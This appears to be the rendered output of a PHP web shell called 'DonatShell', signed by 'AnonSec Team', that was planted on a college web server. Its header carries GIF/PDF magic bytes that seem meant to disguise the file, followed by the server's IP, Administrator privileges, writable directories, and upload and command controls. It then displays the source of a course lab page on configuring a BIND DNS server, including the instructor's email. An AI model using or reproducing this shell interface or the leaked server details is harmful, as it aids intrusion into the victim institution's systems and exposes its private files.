GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST2608/_Archive/Lab13/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST2608/_Archive/Lab13/Lab13.phpinc
<?
// JimMartinson/CST2608/Lab13.php

$thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('../classInfo.phpinc');

$assignmentNumber = 13;
$assignmentType = "Lab";
$assignmentTitle = "DNS server setup on Ubuntu 11.04";
$evaluationType = "Lab";
$evaluationTitle = $assignmentTitle;
if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; $evaluationName = $evaluationType."0".$assignmentNumber; } else { 
$assignmentName = $assignmentType.$assignmentNumber; $evaluationName = $evaluationType.$assignmentNumber; }
if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle;

$title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$js='openCenteredWindow';
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc');
$userFullName = str_replace(" ","",$_SESSION['userFullName']);
include('JimMartinson/CST2608/Usettings.phpinc');
?>
<p>
<fieldset><legend>Description</legend>
Setup a DNS server.
</fieldset>

<fieldset><legend>Lab Instruction</legend>
<ol start="1">
  <li>Setup DNS server.
  	<ol type="a">
      <li>Install the DNS server.<br />
      </li>
      <li>Configure the DNS local settings <kbd>/etc/bind/named.conf.local</kbd> with your zone and in-addr.arpa filenames. Your zone filename is <span class="code">ubuntu.loc</span> and your in-addr.arpa filename is <span class="code">rev.ccc.168.192.in-addr.arpa</span>.
      <br>Note: My VMnet8 network is 192.168.<?=$Iccc?>.0 so I would replace <span class="code">ccc</span> with <span class="code"><?=$Iccc?></span>.
      </li>
      <li>Configure the DNS options settings <kbd>/etc/bind/named.conf.options</kbd> and setup your forwarders.
      </li>
      <li>Create the zone file (<span class="code">ubuntu.loc</span>) and setup your zone SOA, NS, and MX records for <code><?=$Uservername?></code> and A records for <span class="code nowrap">cst 134.29.175.74</span>, <span class="code nowrap">u1104 192.168.ccc.<?=$Uipaddress?></span>, and <span class="code nowrap"><?=$Uservername?> 192.168.ccc.<?=$Uipaddress?></span>.
      <br>Note: My VMnet8 network is 192.168.<?=$Iccc?>.0 so I would replace <span class="code">ccc</span> with <span class="code"><?=$Iccc?></span>.
      </li>
      <li>Create the reverse DNS zone file (<span class="code">rev.ccc.168.192.in-addr.arpa</span>) and setup your SOA, NS, and PTR records.
      <br>Note: My VMnet8 network is 192.168.<?=$Iccc?>.0 so I would replace <span class="code">ccc</span> with <span class="code"><?=$Iccc?></span>.
      </li>
      <li>Reconfigure your server so it uses itself for DNS.
      </li>
      <li>Reconfigure the DHCP server so it hands out your server's IP address for <code>option domain-name-servers</code>.
      </li>
    </ol>
  </li>
  <li>Restart the DHCP and DNS servers.
  </li>
  <li>Dig your domain by using the <kbd>dig</kbd> command followed by your domain name.
    <br />Take a screenshot and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>a-<?=$userFullName?>.png</b>
  </li>
	<li>Setup another VMware machine that uses the same network your Ubuntu server is on and to use your Ubuntu server for DNS. 
  	This is automatic if the VMware machine uses your Ubuntu server for DHCP.
  	<ol type="a">
			<li>Perform dig or nslookup of <?=$Uservername?>.ubuntu.loc.
				<br />Take a screenshot and  as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>b-<?=$userFullName?>.png</b>.
			</li>
			<li>Open a browser and enter http://cst.ubuntu.loc name.
				<br />Take a screenshot and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>c-<?=$userFullName?>.png</b>.
			</li>
    </ol>
  </li>
  <li>
   	<a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> <?=$evaluationName?> Submission">Send an email</a> to jim.martinson@ridgewater.edu with a subject of <b style="white-space:nowrap"><?=$courseNumber?> <?=$evaluationName?> Submission</b> and attach the following files:
      <ol type="a">
      	<li><?=$courseNumber?>-<?=$evaluationName?>a-<?=$userFullName?>.png.</li>
      	<li><?=$courseNumber?>-<?=$evaluationName?>b-<?=$userFullName?>.png.</li>
      	<li><?=$courseNumber?>-<?=$evaluationName?>c-<?=$userFullName?>.png.</li>
      	<li>/etc/bind/named.conf.local.</li>
      	<li>/etc/bind/named.conf.options.</li>
      	<li>/etc/bind/zones/rev.102.168.192.in-addr.arpa. (replace this file name with the name of your reverse DNS zone file)</li>
      	<li>/etc/bind/zones/ubuntu.loc.db. (replace this file name with the name of your DNS zone file)</li>
      	<li>/etc/resolv.conf.</li>
      </ol>
  </li>
</ol>
</fieldset>

<fieldset class="pio"><legend>Grading Criteria</legend>
Demonstrated assignment effectively: 10 points.
<br />
There are some things I expect. If they are incorrect you will lose the following:
<br />
Incorrect attachment file name: -1 pt.
<br />
Work submitted incorrectly: -1pt.
<br />
Incorrect subject in email: -1pt.
<br />
Second and subsequent submission of work for grading: -1pt.
<br />
Work submitted late: -1pt.
</fieldset>

<fieldset class="pio"><legend>Objectives</legend>
<ol class="obj pio" start="7">
	<!-- Week 5 7 Chapter 15 -->
	<li>Describe the Domain Name System (DNS).</li>
	<li>Install and configure the Berkely Internet Name Domain (BIND) system.</li>
	<li>Use BIND and DNS.</li>
</ol>
</fieldset>

<fieldset><legend>Notes</legend>
Here is a <a href="<?=$evaluationName?>/<?=$evaluationName?>.zip"><?=$evaluationName?>.zip</a> file with examples of what must be turned in as well as gedit and sudo scripts to help with the assignment.<br />
</fieldset>
<?
$thisFile=__FILE__; $thisLine=__LINE__; include('../ReferencesResources.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc');

?>

Anon7 - 2022
AnonSec Team